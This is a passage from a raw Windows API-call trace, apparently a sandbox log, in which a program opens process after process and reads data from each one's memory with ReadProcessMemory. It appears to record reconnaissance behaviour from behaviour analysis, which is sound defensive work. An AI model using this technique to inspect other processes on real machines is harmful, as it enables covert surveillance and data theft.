_Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="536") returned 3 [0200.111] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0200.111] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0200.130] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x218) returned 0x458 [0200.130] GetLastError () returned 0x0 [0200.130] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0200.130] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x70fe507018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0200.130] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0200.130] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2210d6032b0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0200.131] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2210d602f08, lpBuffer=0x670ffc3f0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0200.131] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0200.300] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0200.300] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x70fe507020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0200.300] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2210d6028f0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0200.300] malloc (_Size=0x3e) returned 0x196ef0fbc20 [0200.300] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2210d602f44, lpBuffer=0x196ef0fbc20, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fbc20*, lpNumberOfBytesRead=0x0) returned 1 [0200.301] free (_Block=0x196ef0fbc20) [0200.301] CloseHandle (hObject=0x458) returned 1 [0200.302] _ui64tow_s (in: _Value=0x270, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="624") returned 0x0 [0200.307] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="624") returned 3 [0200.308] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0200.308] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0200.329] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x270) returned 0x458 [0200.330] GetLastError () returned 0x0 [0200.330] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0200.330] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4bd4bbe018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0200.330] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0200.331] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x218a64033e0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0200.331] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x218a6403048, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0200.332] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0200.334] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0200.335] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4bd4bbe020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0200.335] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x218a6402a30, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0200.514] malloc (_Size=0x5e) returned 0x196ef0d0450 [0200.514] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x218a6403088, lpBuffer=0x196ef0d0450, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0450*, lpNumberOfBytesRead=0x0) returned 1 [0200.515] free (_Block=0x196ef0d0450) [0200.516] CloseHandle (hObject=0x458) returned 1 [0200.517] _ui64tow_s (in: _Value=0x290, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="656") returned 0x0 [0200.521] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="656") returned 3 [0200.523] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0200.523] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0200.541] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x290) returned 0x458 [0200.541] GetLastError () returned 0x0 [0200.542] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0200.542] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xeb3c623018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0200.542] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0200.542] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x22b56103450, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0200.543] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x22b561030c8, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0200.544] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0200.545] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0200.545] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xeb3c623020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0200.545] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x22b56102ab0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0200.545] malloc (_Size=0x54) returned 0x196ef0faf30 [0200.546] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x22b56103108, lpBuffer=0x196ef0faf30, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0faf30*, lpNumberOfBytesRead=0x0) returned 1 [0200.547] free (_Block=0x196ef0faf30) [0200.547] CloseHandle (hObject=0x458) returned 1 [0200.548] _ui64tow_s (in: _Value=0x328, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="808") returned 0x0 [0200.553] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="808") returned 3 [0200.954] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0200.954] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0200.987] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x328) returned 0x458 [0200.987] GetLastError () returned 0x0 [0200.987] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0200.987] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x68a768d018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0200.987] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0200.988] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x20fc12119f0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0200.988] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x20fc12116e8, lpBuffer=0x670ffc3f0, nSize=0x38, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0200.989] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0200.990] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0200.990] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x68a768d020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0200.990] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x20fc12110d0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0200.990] malloc (_Size=0x16) returned 0x196ef0d20e0 [0200.990] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x20fc1211720, lpBuffer=0x196ef0d20e0, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d20e0*, lpNumberOfBytesRead=0x0) returned 1 [0200.990] free (_Block=0x196ef0d20e0) [0200.991] CloseHandle (hObject=0x458) returned 1 [0200.992] _ui64tow_s (in: _Value=0x358, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="856") returned 0x0 [0200.996] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="856") returned 3 [0200.999] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0200.999] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0201.210] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x358) returned 0x458 [0201.210] GetLastError () returned 0x0 [0201.211] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0201.211] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xe58887a018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0201.211] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0201.211] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x28611e033e0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0201.211] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x28611e03048, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0201.212] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0201.213] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0201.213] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xe58887a020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0201.213] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x28611e02a30, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0201.213] malloc (_Size=0x58) returned 0x196ef0faf90 [0201.213] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x28611e03088, lpBuffer=0x196ef0faf90, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0faf90*, lpNumberOfBytesRead=0x0) returned 1 [0201.214] free (_Block=0x196ef0faf90) [0201.215] CloseHandle (hObject=0x458) returned 1 [0201.217] _ui64tow_s (in: _Value=0x368, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="872") returned 0x0 [0201.221] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="872") returned 3 [0201.222] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0201.222] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0201.241] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x368) returned 0x458 [0201.241] GetLastError () returned 0x0 [0201.241] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0201.241] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xb23a8e3018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0201.241] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0201.241] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x25329703480, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0201.242] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x253297030d8, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0201.243] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0201.244] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0201.244] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xb23a8e3020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0201.244] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x25329702ac0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0201.244] malloc (_Size=0x74) returned 0x196ef0d2120 [0201.245] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x25329703118, lpBuffer=0x196ef0d2120, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0201.246] free (_Block=0x196ef0d2120) [0201.444] CloseHandle (hObject=0x458) returned 1 [0201.445] _ui64tow_s (in: _Value=0x38c, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="908") returned 0x0 [0201.456] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="908") returned 3 [0201.459] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0201.459] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0201.507] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x38c) returned 0x458 [0201.507] GetLastError () returned 0x0 [0201.507] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0201.508] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x849e247018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0201.508] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0201.508] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1a5e3103490, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0201.508] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1a5e31030d8, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0201.509] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0201.510] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0201.510] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x849e247020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0201.511] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1a5e3102ac0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0201.511] malloc (_Size=0x84) returned 0x196ef0d4e70 [0201.511] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1a5e3103118, lpBuffer=0x196ef0d4e70, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0201.512] free (_Block=0x196ef0d4e70) [0201.729] CloseHandle (hObject=0x458) returned 1 [0201.729] _ui64tow_s (in: _Value=0x39c, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="924") returned 0x0 [0201.736] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="924") returned 3 [0201.737] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0201.737] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0201.759] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x39c) returned 0x458 [0201.759] GetLastError () returned 0x0 [0201.759] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0201.759] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xd3ae96018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0201.760] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0201.760] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1e9d3f03490, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0201.760] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1e9d3f030d8, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0201.761] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0201.763] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0201.763] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xd3ae96020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0201.763] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1e9d3f02ac0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0201.764] malloc 